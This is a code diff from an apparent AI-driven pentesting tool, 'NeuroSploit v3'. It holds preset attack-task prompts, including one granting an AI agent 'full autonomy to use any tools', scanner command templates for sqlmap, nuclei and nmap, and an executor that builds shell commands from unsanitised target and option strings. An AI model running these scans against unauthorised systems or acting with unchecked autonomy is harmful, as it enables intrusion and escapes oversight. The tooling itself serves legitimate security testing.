id="vuln_owasp_top10",
name="OWASP Top 10 Assessment",
description="Test for OWASP Top 10 vulnerabilities",
category=TaskCategory.VULNERABILITY.value,
prompt="""Test the target for OWASP Top 10 vulnerabilities:
1. **A01 - Broken Access Control**: Test for IDOR, privilege escalation
2. **A02 - Cryptographic Failures**: Check for weak crypto, exposed secrets
3. **A03 - Injection**: Test SQL, NoSQL, OS, LDAP injection
4. **A04 - Insecure Design**: Analyze business logic flaws
5. **A05 - Security Misconfiguration**: Check headers, default configs
6. **A06 - Vulnerable Components**: Identify outdated libraries
7. **A07 - Authentication Failures**: Test auth bypass, weak passwords
8. **A08 - Data Integrity Failures**: Check for insecure deserialization
9. **A09 - Security Logging Failures**: Test for logging gaps
10. **A10 - SSRF**: Test for server-side request forgery
For each finding:
- Provide CVSS score and calculation
- Detailed description
- Proof of Concept
- Remediation recommendation""",
system_prompt="You are a web security expert specializing in OWASP vulnerabilities.",
tools_required=["nuclei", "sqlmap", "xsstrike"],
estimated_tokens=5000,
tags=["vulnerability", "owasp", "web"],
is_preset=True
),
Task(
id="vuln_api_security",
name="API Security Testing",
description="Test API endpoints for security issues",
category=TaskCategory.VULNERABILITY.value,
prompt="""Test the API for security vulnerabilities:
1. **Authentication**: Test JWT, OAuth, API keys
2. **Authorization**: Check for BOLA, BFLA, broken object level auth
3. **Rate Limiting**: Test for missing rate limits
4. **Input Validation**: Injection attacks on API params
5. **Data Exposure**: Check for excessive data exposure
6. **Mass Assignment**: Test for mass assignment vulnerabilities
7. **Security Misconfiguration**: CORS, headers, error handling
8. **Injection**: GraphQL, SQL, NoSQL injection
For each finding provide CVSS, PoC, and remediation.""",
system_prompt="You are an API security expert.",
tools_required=["nuclei", "ffuf"],
estimated_tokens=4000,
tags=["vulnerability", "api", "rest", "graphql"],
is_preset=True
),
Task(
id="vuln_injection",
name="Injection Testing",
description="Comprehensive injection vulnerability testing",
category=TaskCategory.VULNERABILITY.value,
prompt="""Test all input points for injection vulnerabilities:
1. **SQL Injection**: Error-based, union, blind, time-based
2. **NoSQL Injection**: MongoDB, CouchDB injections
3. **Command Injection**: OS command execution
4. **LDAP Injection**: Directory service injection
5. **XPath Injection**: XML path injection
6. **Template Injection (SSTI)**: Jinja2, Twig, Freemarker
7. **Header Injection**: Host header, CRLF injection
8. **Email Header Injection**: SMTP injection
Test ALL parameters: URL, POST body, headers, cookies.
Provide working PoC for each finding.""",
system_prompt="You are an injection attack specialist. Test thoroughly but safely.",
tools_required=["sqlmap", "commix"],
estimated_tokens=4000,
tags=["vulnerability", "injection", "sqli", "rce"],
is_preset=True
),
# === FULL AUTO TASKS ===
Task(
id="full_bug_bounty",
name="Bug Bounty Hunter Mode",
description="Full automated bug bounty workflow: recon -> analyze -> test -> report",
category=TaskCategory.FULL_AUTO.value,
prompt="""Execute complete bug bounty workflow:
## PHASE 1: RECONNAISSANCE
- Enumerate all subdomains and assets
- Probe for live hosts
- Discover all endpoints
- Identify technologies and frameworks
## PHASE 2: ANALYSIS
- Analyze attack surface
- Identify high-value targets
- Map authentication flows
- Document API endpoints
## PHASE 3: VULNERABILITY TESTING
- Test for critical vulnerabilities first (RCE, SQLi, Auth Bypass)
- Test for high severity (XSS, SSRF, IDOR)
- Test for medium/low (Info disclosure, misconfigs)
## PHASE 4: EXPLOITATION
- Develop PoC for confirmed vulnerabilities
- Calculate CVSS scores
- Document impact and risk
## PHASE 5: REPORTING
- Generate professional report
- Include all findings with evidence
- Provide remediation steps
Focus on impact. Prioritize critical findings.""",
system_prompt="""You are an elite bug bounty hunter. Your goal is to find real, impactful vulnerabilities.
Be thorough but efficient. Focus on high-severity issues first.
Every finding must have: Evidence, CVSS, Impact, PoC, Remediation.""",
tools_required=["subfinder", "httpx", "nuclei", "katana", "sqlmap"],
estimated_tokens=10000,
tags=["full", "bug_bounty", "automated"],
is_preset=True
),
Task(
id="full_pentest",
name="Full Penetration Test",
description="Complete penetration test workflow",
category=TaskCategory.FULL_AUTO.value,
prompt="""Execute comprehensive penetration test:
## PHASE 1: INFORMATION GATHERING
- Passive reconnaissance
- Active reconnaissance
- Network mapping
- Service enumeration
## PHASE 2: VULNERABILITY ANALYSIS
- Automated scanning
- Manual testing
- Business logic analysis
- Configuration review
## PHASE 3: EXPLOITATION
- Exploit confirmed vulnerabilities
- Post-exploitation (if authorized)
- Privilege escalation attempts
- Lateral movement (if authorized)
## PHASE 4: DOCUMENTATION
- Document all findings
- Calculate CVSS 3.1 scores
- Create proof of concepts
- Write remediation recommendations
## PHASE 5: REPORTING
- Executive summary
- Technical findings
- Risk assessment
- Remediation roadmap
This is a full penetration test. Be thorough and professional.""",
system_prompt="""You are a professional penetration tester conducting an authorized security assessment.
Document everything. Be thorough. Follow methodology.
All findings must include: Title, CVSS, Description, Evidence, Impact, Remediation.""",
tools_required=["nmap", "nuclei", "sqlmap", "nikto", "ffuf"],
estimated_tokens=15000,
tags=["full", "pentest", "professional"],
is_preset=True
),
# === CUSTOM/FLEXIBLE TASKS ===
Task(
id="custom_prompt",
name="Custom Prompt (Full AI Mode)",
description="Execute any custom prompt - AI decides what tools to use",
category=TaskCategory.CUSTOM.value,
prompt="""[USER_PROMPT_HERE]
Analyze this request and:
1. Determine what information/tools are needed
2. Plan the approach
3. Execute the necessary tests
4. Analyze results
5. Report findings
You have full autonomy to use any tools and techniques needed.""",
system_prompt="""You are an autonomous AI security agent.
Analyze the user's request and execute it completely.
You can use any tools available. Be creative and thorough.
If the task requires testing, test. If it requires analysis, analyze.
Always provide detailed results with evidence.""",
tools_required=[],
estimated_tokens=5000,
tags=["custom", "flexible", "ai"],
is_preset=True
),
Task(
id="analyze_only",
name="Analysis Only (No Testing)",
description="AI analysis without active testing - uses provided data",
category=TaskCategory.CUSTOM.value,
prompt="""Analyze the provided data/context WITHOUT performing active tests:
1. Review all provided information
2. Identify potential security issues
3. Assess risk levels
4. Provide recommendations
Do NOT send any requests to the target.
Base your analysis only on provided data.""",
system_prompt="You are a security analyst. Analyze provided data without active testing.",
tools_required=[],
estimated_tokens=2000,
tags=["analysis", "passive", "review"],
is_preset=True
),
# === REPORTING TASKS ===
Task(
id="report_executive",
name="Executive Summary Report",
description="Generate executive-level security report",
category=TaskCategory.REPORTING.value,
prompt="""Generate an executive summary report from the findings:
1. **Executive Summary**: High-level overview for management
2. **Risk Assessment**: Overall security posture rating
3. **Key Findings**: Top critical/high findings only
4. **Business Impact**: How vulnerabilities affect the business
5. **Recommendations**: Prioritized remediation roadmap
6. **Metrics**: Charts and statistics
Keep it concise and business-focused. Avoid technical jargon.""",
system_prompt="You are a security consultant writing for executives.",
tools_required=[],
estimated_tokens=2000,
tags=["reporting", "executive", "summary"],
is_preset=True
),
Task(
id="report_technical",
name="Technical Security Report",
description="Generate detailed technical security report",
category=TaskCategory.REPORTING.value,
prompt="""Generate a detailed technical security report:
For each vulnerability include:
1. **Title**: Clear, descriptive title
2. **Severity**: Critical/High/Medium/Low/Info
3. **CVSS Score**: Calculate CVSS 3.1 score with vector
4. **CWE ID**: Relevant CWE classification
5. **Description**: Detailed technical explanation
6. **Affected Component**: Endpoint, parameter, function
7. **Proof of Concept**: Working PoC code/steps
8. **Evidence**: Screenshots, requests, responses
9. **Impact**: What an attacker could achieve
10. **Remediation**: Specific fix recommendations
11. **References**: OWASP, CWE, vendor docs
Be thorough and technical.""",
system_prompt="You are a senior security engineer writing a technical report.",
tools_required=[],
estimated_tokens=3000,
tags=["reporting", "technical", "detailed"],
is_preset=True
),
]
def create_task(self, task: Task) -> Task:
"""Create a new task"""
if not task.id:
task.id = f"custom_{datetime.utcnow().strftime('%Y%m%d_%H%M%S')}"
task.created_at = datetime.utcnow().isoformat()
task.updated_at = task.created_at
self.tasks[task.id] = task
self._save_library()
return task
def update_task(self, task_id: str, updates: Dict) -> Optional[Task]:
"""Update an existing task"""
if task_id not in self.tasks:
return None
task = self.tasks[task_id]
for key, value in updates.items():
if hasattr(task, key):
setattr(task, key, value)
task.updated_at = datetime.utcnow().isoformat()
self._save_library()
return task
def delete_task(self, task_id: str) -> bool:
"""Delete a task (cannot delete presets)"""
if task_id not in self.tasks:
return False
if self.tasks[task_id].is_preset:
return False # Cannot delete presets
del self.tasks[task_id]
self._save_library()
return True
def get_task(self, task_id: str) -> Optional[Task]:
"""Get a task by ID"""
return self.tasks.get(task_id)
def list_tasks(self, category: Optional[str] = None) -> List[Task]:
"""List all tasks, optionally filtered by category"""
tasks = list(self.tasks.values())
if category:
tasks = [t for t in tasks if t.category == category]
return sorted(tasks, key=lambda t: (not t.is_preset, t.name))
def search_tasks(self, query: str) -> List[Task]:
"""Search tasks by name, description, or tags"""
query = query.lower()
results = []
for task in self.tasks.values():
if (query in task.name.lower() or
query in task.description.lower() or
any(query in tag.lower() for tag in task.tags)):
results.append(task)
return results
def get_categories(self) -> List[str]:
"""Get all task categories"""
return [c.value for c in TaskCategory]
def export_task(self, task_id: str, filepath: str) -> bool:
"""Export a task to a file"""
task = self.get_task(task_id)
if not task:
return False
with open(filepath, 'w') as f:
json.dump(asdict(task), f, indent=2)
return True
def import_task(self, filepath: str) -> Optional[Task]:
"""Import a task from a file"""
try:
with open(filepath, 'r') as f:
data = json.load(f)
task = Task(**data)
task.is_preset = False # Imported tasks are not presets
return self.create_task(task)
except Exception as e:
print(f"Error importing task: {e}")
return None
# Singleton instance
_library_instance = None
def get_task_library() -> TaskLibrary:
"""Get the singleton task library instance"""
global _library_instance
if _library_instance is None:
_library_instance = TaskLibrary()
return _library_instance
+764
View File
@@ -0,0 +1,764 @@
"""
NeuroSploit v3 - Docker Tool Executor
Executes security tools in isolated Docker containers
"""
import asyncio
import docker
import json
import os
import re
import tempfile
import uuid
from datetime import datetime
from typing import Dict, List, Optional, Any, Tuple
from dataclasses import dataclass, field
from enum import Enum
import logging
logger = logging.getLogger(__name__)
class ToolStatus(Enum):
PENDING = "pending"
RUNNING = "running"
COMPLETED = "completed"
FAILED = "failed"
TIMEOUT = "timeout"
@dataclass
class ToolResult:
"""Result from a tool execution"""
tool: str
command: str
status: ToolStatus
output: str
error: str = ""
findings: List[Dict] = field(default_factory=list)
duration_seconds: float = 0
started_at: str = ""
completed_at: str = ""
class SecurityTool:
"""Definition of a security tool"""
TOOLS = {
"dirb": {
"name": "Dirb",
"description": "Web content scanner",
"command": "dirb {target} /opt/wordlists/common.txt -o /opt/output/dirb.txt -w",
"output_file": "/opt/output/dirb.txt",
"parser": "parse_dirb_output"
},
"feroxbuster": {
"name": "Feroxbuster",
"description": "Fast content discovery tool",
"command": "feroxbuster -u {target} -w /opt/wordlists/common.txt -o /opt/output/ferox.txt --json -q",
"output_file": "/opt/output/ferox.txt",
"parser": "parse_feroxbuster_output"
},
"ffuf": {
"name": "FFUF",
"description": "Fast web fuzzer",
"command": "ffuf -u {target}/FUZZ -w /opt/wordlists/common.txt -o /opt/output/ffuf.json -of json -mc 200,204,301,302,307,401,403",
"output_file": "/opt/output/ffuf.json",
"parser": "parse_ffuf_output"
},
"gobuster": {
"name": "Gobuster",
"description": "Directory/file brute-forcer",
"command": "gobuster dir -u {target} -w /opt/wordlists/common.txt -o /opt/output/gobuster.txt -q",
"output_file": "/opt/output/gobuster.txt",
"parser": "parse_gobuster_output"
},
"nmap": {
"name": "Nmap",
"description": "Network scanner",
"command": "nmap -sV -sC -oN /opt/output/nmap.txt {host}",
"output_file": "/opt/output/nmap.txt",
"parser": "parse_nmap_output"
},
"nuclei": {
"name": "Nuclei",
"description": "Vulnerability scanner",
"command": "nuclei -u {target} -o /opt/output/nuclei.txt -jsonl",
"output_file": "/opt/output/nuclei.txt",
"parser": "parse_nuclei_output"
},
"nikto": {
"name": "Nikto",
"description": "Web server scanner",
"command": "nikto -h {target} -o /opt/output/nikto.txt -Format txt",
"output_file": "/opt/output/nikto.txt",
"parser": "parse_nikto_output"
},
"sqlmap": {
"name": "SQLMap",
"description": "SQL injection scanner",
"command": "sqlmap -u {target} --batch --output-dir=/opt/output/sqlmap",
"output_file": "/opt/output/sqlmap",
"parser": "parse_sqlmap_output"
},
"whatweb": {
"name": "WhatWeb",
"description": "Web technology fingerprinting",
"command": "whatweb {target} -a 3 --log-json=/opt/output/whatweb.json",
"output_file": "/opt/output/whatweb.json",
"parser": "parse_whatweb_output"
},
"httpx": {
"name": "HTTPX",
"description": "HTTP toolkit",
"command": "echo {target} | httpx -silent -json -o /opt/output/httpx.json -title -tech-detect -status-code",
"output_file": "/opt/output/httpx.json",
"parser": "parse_httpx_output"
},
"katana": {
"name": "Katana",
"description": "Web crawler",
"command": "katana -u {target} -o /opt/output/katana.txt -jc -d 3",
"output_file": "/opt/output/katana.txt",
"parser": "parse_katana_output"
},
"subfinder": {
"name": "Subfinder",
"description": "Subdomain discovery",
"command": "subfinder -d {domain} -o /opt/output/subfinder.txt -silent",
"output_file": "/opt/output/subfinder.txt",
"parser": "parse_subfinder_output"
},
"dalfox": {
"name": "Dalfox",
"description": "XSS scanner",
"command": "dalfox url {target} -o /opt/output/dalfox.txt --silence",
"output_file": "/opt/output/dalfox.txt",
"parser": "parse_dalfox_output"
}
}
class DockerToolExecutor:
"""Execute security tools in Docker containers"""
DOCKER_IMAGE = "neurosploit-tools:latest"
DEFAULT_TIMEOUT = 300 # 5 minutes
MAX_OUTPUT_SIZE = 1024 * 1024 # 1MB max output
def __init__(self):
self.client = None
self.active_containers: Dict[str, Any] = {}
self._initialized = False
async def initialize(self) -> Tuple[bool, str]:
"""Initialize Docker client and ensure image exists"""
try:
self.client = docker.from_env()
self.client.ping()
# Check if tools image exists
try:
self.client.images.get(self.DOCKER_IMAGE)
self._initialized = True
return True, "Docker initialized with tools image"
except docker.errors.ImageNotFound:
# Try to build the image
logger.info("Building security tools Docker image...")
return await self._build_tools_image()
except docker.errors.DockerException as e:
return False, f"Docker not available: {str(e)}"
except Exception as e:
return False, f"Failed to initialize Docker: {str(e)}"
async def _build_tools_image(self) -> Tuple[bool, str]:
"""Build the security tools Docker image"""
try:
dockerfile_path = os.path.join(
os.path.dirname(os.path.dirname(os.path.dirname(__file__))),
"docker", "Dockerfile.tools"
)
if not os.path.exists(dockerfile_path):
return False, f"Dockerfile not found at {dockerfile_path}"
# Build image
build_path = os.path.dirname(dockerfile_path)
image, logs = self.client.images.build(
path=build_path,
dockerfile="Dockerfile.tools",
tag=self.DOCKER_IMAGE,
rm=True
)
self._initialized = True
return True, "Tools image built successfully"
except Exception as e:
return False, f"Failed to build tools image: {str(e)}"
def is_available(self) -> bool:
"""Check if Docker executor is available"""
return self._initialized and self.client is not None
def get_available_tools(self) -> List[Dict]:
"""Get list of available security tools"""
return [
{
"id": tool_id,
"name": tool["name"],
"description": tool["description"]
}
for tool_id, tool in SecurityTool.TOOLS.items()
]
async def execute_tool(
self,
tool_name: str,
target: str,
options: Optional[Dict] = None,
timeout: int = None
) -> ToolResult:
"""Execute a security tool against a target"""
if not self.is_available():
return ToolResult(
tool=tool_name,
command="",
status=ToolStatus.FAILED,
output="",
error="Docker executor not initialized"
)
tool_config = SecurityTool.TOOLS.get(tool_name.lower())
if not tool_config:
return ToolResult(
tool=tool_name,
command="",
status=ToolStatus.FAILED,
output="",
error=f"Unknown tool: {tool_name}"
)
# Parse target URL
from urllib.parse import urlparse
parsed = urlparse(target)
host = parsed.netloc or parsed.path
domain = host.split(':')[0]
# Build command
command = tool_config["command"].format(
target=target,
host=host,
domain=domain
)
# Add custom options
if options:
for key, value in options.items():
command += f" {key} {value}"
timeout = timeout or self.DEFAULT_TIMEOUT
started_at = datetime.utcnow()
result = ToolResult(
tool=tool_name,
command=command,
status=ToolStatus.RUNNING,
output="",
started_at=started_at.isoformat()
)
container = None
try:
# Create and run container
container = self.client.containers.run(
self.DOCKER_IMAGE,
command=command,
detach=True,
remove=False,
network_mode="bridge",
mem_limit="512m",
cpu_period=100000,
cpu_quota=50000, # 50% CPU
volumes={},
environment={
"TERM": "xterm"
}
)
container_id = container.id[:12]
self.active_containers[container_id] = container
# Wait for container to finish
try:
exit_code = container.wait(timeout=timeout)
# Get output
logs = container.logs(stdout=True, stderr=True)
output = logs.decode('utf-8', errors='replace')
# Truncate if too large
if len(output) > self.MAX_OUTPUT_SIZE:
output = output[:self.MAX_OUTPUT_SIZE] + "\n... [output truncated]"
# Try to get output file
try:
output_file = tool_config.get("output_file")
if output_file:
bits, stat = container.get_archive(output_file)
# Extract file content from tar
import tarfile
import io
tar_stream = io.BytesIO()
for chunk in bits:
tar_stream.write(chunk)
tar_stream.seek(0)
with tarfile.open(fileobj=tar_stream) as tar:
for member in tar.getmembers():
if member.isfile():
f = tar.extractfile(member)
if f:
file_content = f.read().decode('utf-8', errors='replace')
output = file_content
except Exception:
pass # Use container logs as output
result.output = output
result.status = ToolStatus.COMPLETED if exit_code.get('StatusCode', 1) == 0 else ToolStatus.FAILED
except Exception as e:
if "timeout" in str(e).lower() or "read timeout" in str(e).lower():
result.status = ToolStatus.TIMEOUT
result.error = f"Tool execution timed out after {timeout}s"
container.kill()
else:
raise
except Exception as e:
result.status = ToolStatus.FAILED
result.error = str(e)
logger.error(f"Tool execution failed: {e}")
finally:
# Cleanup container
if container:
try:
container.remove(force=True)
except Exception:
pass
self.active_containers.pop(container.id[:12], None)
completed_at = datetime.utcnow()
result.completed_at = completed_at.isoformat()
result.duration_seconds = (completed_at - started_at).total_seconds()
# Parse findings from output
if result.status == ToolStatus.COMPLETED and result.output:
parser_name = tool_config.get("parser")
if parser_name and hasattr(self, parser_name):
parser = getattr(self, parser_name)
result.findings = parser(result.output, target)
return result
async def kill_container(self, container_id: str) -> bool:
"""Kill a running container"""
container = self.active_containers.get(container_id)
if container:
try:
container.kill()
container.remove(force=True)
del self.active_containers[container_id]
return True
except Exception:
pass
return False
async def cleanup_all(self):
"""Cleanup all running containers"""
for container_id in list(self.active_containers.keys()):
await self.kill_container(container_id)
# ==================== Output Parsers ====================
def parse_dirb_output(self, output: str, target: str) -> List[Dict]:
"""Parse dirb output into findings"""
findings = []
# Match lines like: + http://example.com/admin (CODE:200|SIZE:1234)
pattern = r'\+ (https?://[^\s]+)\s+\(CODE:(\d+)\|SIZE:(\d+)\)'
matches = re.findall(pattern, output)
for url, code, size in matches:
severity = "info"
if "/admin" in url.lower() or "/panel" in url.lower():
severity = "medium"
elif ".env" in url or "config" in url.lower() or ".git" in url:
severity = "high"
findings.append({
"title": f"Directory/File Found: {url.split('/')[-1] or url}",
"severity": severity,
"vulnerability_type": "Information Disclosure",
"description": f"Accessible endpoint discovered at {url}",
"affected_endpoint": url,
"evidence": f"HTTP {code}, Size: {size} bytes",
"remediation": "Review if this endpoint should be publicly accessible"
})
return findings
def parse_feroxbuster_output(self, output: str, target: str) -> List[Dict]:
"""Parse feroxbuster JSON output"""
findings = []
for line in output.split('\n'):
if not line.strip():
continue
try:
data = json.loads(line)
url = data.get('url', '')
status = data.get('status', 0)
if status in [200, 301, 302, 403]:
severity = "info"
if "/admin" in url.lower() or status == 403:
severity = "medium"
elif ".env" in url or ".git" in url:
severity = "high"
findings.append({
"title": f"Endpoint: {url.split('/')[-1] or url}",
"severity": severity,
"vulnerability_type": "Information Disclosure",
"description": f"Discovered endpoint: {url}",
"affected_endpoint": url,
"evidence": f"HTTP {status}",
"remediation": "Review endpoint accessibility"
})
except json.JSONDecodeError:
continue
return findings
def parse_ffuf_output(self, output: str, target: str) -> List[Dict]:
"""Parse ffuf JSON output"""
findings = []
try:
data = json.loads(output)
results = data.get('results', [])
for result in results:
url = result.get('url', '')
status = result.get('status', 0)
length = result.get('length', 0)
severity = "info"
path = url.lower()
if any(x in path for x in ['/admin', '/panel', '/dashboard']):
severity = "medium"
elif any(x in path for x in ['.env', '.git', 'config', 'backup']):
severity = "high"
findings.append({
"title": f"Found: {url.split('/')[-1]}",
"severity": severity,
"vulnerability_type": "Content Discovery",
"description": f"Discovered: {url}",
"affected_endpoint": url,
"evidence": f"HTTP {status}, Length: {length}",
"remediation": "Review if endpoint should be accessible"
})
except json.JSONDecodeError:
# Fall back to text parsing
pass
return findings
def parse_gobuster_output(self, output: str, target: str) -> List[Dict]:
"""Parse gobuster output"""
findings = []
for line in output.split('\n'):
# Match: /admin (Status: 200) [Size: 1234]
match = re.search(r'(/[^\s]+)\s+\(Status:\s*(\d+)\)', line)
if match:
path = match.group(1)
status = match.group(2)
url = target.rstrip('/') + path
severity = "info"
if any(x in path.lower() for x in ['/admin', '/panel']):
severity = "medium"
elif any(x in path.lower() for x in ['.env', '.git', 'config']):
severity = "high"
findings.append({
"title": f"Found: {path}",
"severity": severity,
"vulnerability_type": "Content Discovery",
"description": f"Discovered endpoint at {url}",
"affected_endpoint": url,
"evidence": f"HTTP {status}",
"remediation": "Review endpoint accessibility"
})
return findings
def parse_nuclei_output(self, output: str, target: str) -> List[Dict]:
"""Parse nuclei JSONL output"""
findings = []
severity_map = {
"critical": "critical",
"high": "high",
"medium": "medium",
"low": "low",
"info": "info"
}
for line in output.split('\n'):
if not line.strip():
continue
try:
data = json.loads(line)
findings.append({
"title": data.get('info', {}).get('name', 'Unknown'),
"severity": severity_map.get(
data.get('info', {}).get('severity', 'info'),
'info'
),
"vulnerability_type": data.get('info', {}).get('tags', ['vulnerability'])[0] if data.get('info', {}).get('tags') else 'vulnerability',
"description": data.get('info', {}).get('description', ''),
"affected_endpoint": data.get('matched-at', target),
"evidence": data.get('matcher-name', ''),
"remediation": data.get('info', {}).get('remediation', 'Review and fix the vulnerability'),
"references": data.get('info', {}).get('reference', [])
})
except json.JSONDecodeError:
continue
return findings
def parse_nmap_output(self, output: str, target: str) -> List[Dict]:
"""Parse nmap output"""
findings = []
# Parse open ports
port_pattern = r'(\d+)/tcp\s+open\s+(\S+)\s*(.*)?'
for match in re.finditer(port_pattern, output):
port = match.group(1)
service = match.group(2)
version = match.group(3) or ''
severity = "info"
if service in ['telnet', 'ftp']:
severity = "medium"
elif 'vnc' in service.lower() or 'rdp' in service.lower():
severity = "medium"
findings.append({
"title": f"Open Port: {port}/{service}",
"severity": severity,
"vulnerability_type": "Open Port",
"description": f"Port {port} is open running {service} {version}".strip(),
"affected_endpoint": f"{target}:{port}",
"evidence": f"Service: {service}, Version: {version}",
"remediation": "Review if this port should be exposed"
})
return findings
def parse_nikto_output(self, output: str, target: str) -> List[Dict]:
"""Parse nikto output"""
findings = []
# Parse OSVDB entries and other findings
vuln_pattern = r'\+\s+(\S+):\s+(.+)'
for match in re.finditer(vuln_pattern, output):
ref = match.group(1)
desc = match.group(2)
severity = "info"
if any(x in desc.lower() for x in ['sql', 'injection', 'xss']):
severity = "high"
elif any(x in desc.lower() for x in ['outdated', 'vulnerable', 'dangerous']):
severity = "medium"
findings.append({
"title": f"Nikto: {desc[:50]}...",
"severity": severity,
"vulnerability_type": "Web Vulnerability",
"description": desc,
"affected_endpoint": target,
"evidence": ref,
"remediation": "Review and address the finding"
})
return findings
def parse_sqlmap_output(self, output: str, target: str) -> List[Dict]:
"""Parse sqlmap output"""
findings = []
if "is vulnerable" in output.lower() or "sql injection" in output.lower():
# Extract vulnerable parameter
param_match = re.search(r"Parameter:\s*(\S+)", output)
param = param_match.group(1) if param_match else "unknown"
findings.append({
"title": f"SQL Injection: {param}",
"severity": "critical",
"vulnerability_type": "SQL Injection",
"description": f"SQL injection vulnerability found in parameter: {param}",
"affected_endpoint": target,
"evidence": "SQLMap confirmed the vulnerability",
"remediation": "Use parameterized queries and input validation"
})
return findings
def parse_whatweb_output(self, output: str, target: str) -> List[Dict]:
"""Parse whatweb JSON output"""
findings = []
try:
data = json.loads(output)
if isinstance(data, list) and len(data) > 0:
result = data[0]
plugins = result.get('plugins', {})
techs = []
for name, info in plugins.items():
if name not in ['IP', 'Country']:
version = info.get('version', [''])[0] if info.get('version') else ''
techs.append(f"{name} {version}".strip())
if techs:
findings.append({
"title": "Technology Stack Detected",
"severity": "info",
"vulnerability_type": "Information Disclosure",
"description": f"Detected technologies: {', '.join(techs)}",
"affected_endpoint": target,
"evidence": ", ".join(techs),
"remediation": "Consider hiding version information"
})
except json.JSONDecodeError:
pass
return findings
def parse_httpx_output(self, output: str, target: str) -> List[Dict]:
"""Parse httpx JSON output"""
findings = []
for line in output.split('\n'):
if not line.strip():
continue
try:
data = json.loads(line)
techs = data.get('tech', [])
title = data.get('title', '')
status = data.get('status_code', 0)
if techs:
findings.append({
"title": f"Technologies: {', '.join(techs[:3])}",
"severity": "info",
"vulnerability_type": "Technology Detection",
"description": f"Page title: {title}. Technologies: {', '.join(techs)}",
"affected_endpoint": data.get('url', target),
"evidence": f"HTTP {status}",
"remediation": "Review exposed technology information"
})
except json.JSONDecodeError:
continue
return findings
def parse_katana_output(self, output: str, target: str) -> List[Dict]:
"""Parse katana output"""
findings = []
endpoints = set()
for line in output.split('\n'):
url = line.strip()
if url and url.startswith('http'):
endpoints.add(url)
# Group interesting findings
interesting = [u for u in endpoints if any(x in u.lower() for x in [
'api', 'admin', 'login', 'upload', 'config', '.php', '.asp'
])]
for url in interesting[:20]: # Limit findings
findings.append({
"title": f"Interesting Endpoint: {url.split('/')[-1][:30]}",
"severity": "info",
"vulnerability_type": "Endpoint Discovery",
"description": f"Crawled endpoint: {url}",
"affected_endpoint": url,
"evidence": "Discovered via web crawling",
"remediation": "Review endpoint for security issues"
})
return findings
def parse_subfinder_output(self, output: str, target: str) -> List[Dict]:
"""Parse subfinder output"""
findings = []
subdomains = [s.strip() for s in output.split('\n') if s.strip()]
if subdomains:
findings.append({
"title": f"Subdomains Found: {len(subdomains)}",
"severity": "info",
"vulnerability_type": "Subdomain Enumeration",
"description": f"Found {len(subdomains)} subdomains: {', '.join(subdomains[:10])}{'...' if len(subdomains) > 10 else ''}",
"affected_endpoint": target,
"evidence": "\n".join(subdomains[:20]),
"remediation": "Review all subdomains for security"
})
return findings
def parse_dalfox_output(self, output: str, target: str) -> List[Dict]:
"""Parse dalfox output"""
findings = []
# Look for XSS findings
if "POC" in output or "Vulnerable" in output.lower():
poc_match = re.search(r'POC:\s*(\S+)', output)
poc = poc_match.group(1) if poc_match else "See output"
findings.append({
"title": "XSS Vulnerability Found",
"severity": "high",
"vulnerability_type": "Cross-Site Scripting (XSS)",
"description": "Dalfox found a potential XSS vulnerability",
"affected_endpoint": target,
"evidence": poc,
"remediation": "Implement proper output encoding and CSP"
})
return findings
# Global executor instance
_executor: Optional[DockerToolExecutor] = None
async def get_tool_executor() -> DockerToolExecutor:
"""Get or create the global tool executor instance"""
global _executor
if _executor is None:
_executor = DockerToolExecutor()
await _executor.initialize()
return _executor
+5
View File
@@ -0,0 +1,5 @@
from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine
from backend.core.vuln_engine.registry import VulnerabilityRegistry
from backend.core.vuln_engine.payload_generator import PayloadGenerator
__all__ = ["DynamicVulnerabilityEngine", "VulnerabilityRegistry", "PayloadGenerator"]
+287
View File
@@ -0,0 +1,287 @@
"""
NeuroSploit v3 - Dynamic Vulnerability Engine
The core of NeuroSploit v3: prompt-driven vulnerability testing.
Instead of hardcoded tests, this engine dynamically tests based on
what vulnerabilities are extracted from the user's prompt.
"""
import asyncio
import aiohttp
from typing import List, Dict, Optional, Any
from datetime import datetime
from backend.core.vuln_engine.registry import VulnerabilityRegistry
from backend.core.vuln_engine.payload_generator import PayloadGenerator
from backend.models import Endpoint, Vulnerability, VulnerabilityTest
from backend.schemas.prompt import VulnerabilityTypeExtracted
class TestResult:
"""Result of a vulnerability test"""
def __init__(
self,
vuln_type: str,
is_vulnerable: bool,
confidence: float,
payload: str,
request_data: dict,
response_data: dict,
evidence: Optional[str] = None
):
self.vuln_type = vuln_type
self.is_vulnerable = is_vulnerable
self.confidence = confidence
self.payload = payload
self.request_data = request_data
self.response_data = response_data
self.evidence = evidence
class DynamicVulnerabilityEngine:
"""
Prompt-driven vulnerability testing engine.
Key principles:
1. Tests ONLY what the prompt specifies
2. Generates payloads dynamically based on context
3. Uses multiple detection techniques per vulnerability type
4. Adapts based on target responses
"""
def __init__(self, llm_manager=None):
self.llm_manager = llm_manager
self.registry = VulnerabilityRegistry()
self.payload_generator = PayloadGenerator()
self.session: Optional[aiohttp.ClientSession] = None
self.timeout = aiohttp.ClientTimeout(total=30)
async def __aenter__(self):
self.session = aiohttp.ClientSession(timeout=self.timeout)
return self
async def __aexit__(self, exc_type, exc_val, exc_tb):
if self.session:
await self.session.close()
async def test_endpoint(
self,
endpoint: Endpoint,
vuln_types: List[VulnerabilityTypeExtracted],
context: Dict[str, Any],
progress_callback=None
) -> List[TestResult]:
"""
Test an endpoint for specified vulnerability types.
Args:
endpoint: The endpoint to test
vuln_types: List of vulnerability types to test for
context: Additional context (technologies, WAF info, etc.)
progress_callback: Optional callback for progress updates
Returns:
List of test results
"""
results = []
if not self.session:
self.session = aiohttp.ClientSession(timeout=self.timeout)
for vuln in vuln_types:
try:
if progress_callback:
await progress_callback(f"Testing {vuln.type} on {endpoint.url}")
# Get tester for this vulnerability type
tester = self.registry.get_tester(vuln.type)
# Get payloads for this vulnerability and endpoint
payloads = await self.payload_generator.get_payloads(
vuln_type=vuln.type,
endpoint=endpoint,
context=context
)
# Test each payload
for payload in payloads:
result = await self._execute_test(
endpoint=endpoint,
vuln_type=vuln.type,
payload=payload,
tester=tester,
context=context
)
results.append(result)
# If vulnerable, try to get more evidence
if result.is_vulnerable:
deeper_results = await self._deep_test(
endpoint=endpoint,
vuln_type=vuln.type,
initial_result=result,
tester=tester,
context=context
)
results.extend(deeper_results)
break # Found vulnerability, move to next type
except Exception as e:
print(f"Error testing {vuln.type}: {e}")
continue
return results
async def _execute_test(
self,
endpoint: Endpoint,
vuln_type: str,
payload: str,
tester,
context: Dict
) -> TestResult:
"""Execute a single vulnerability test"""
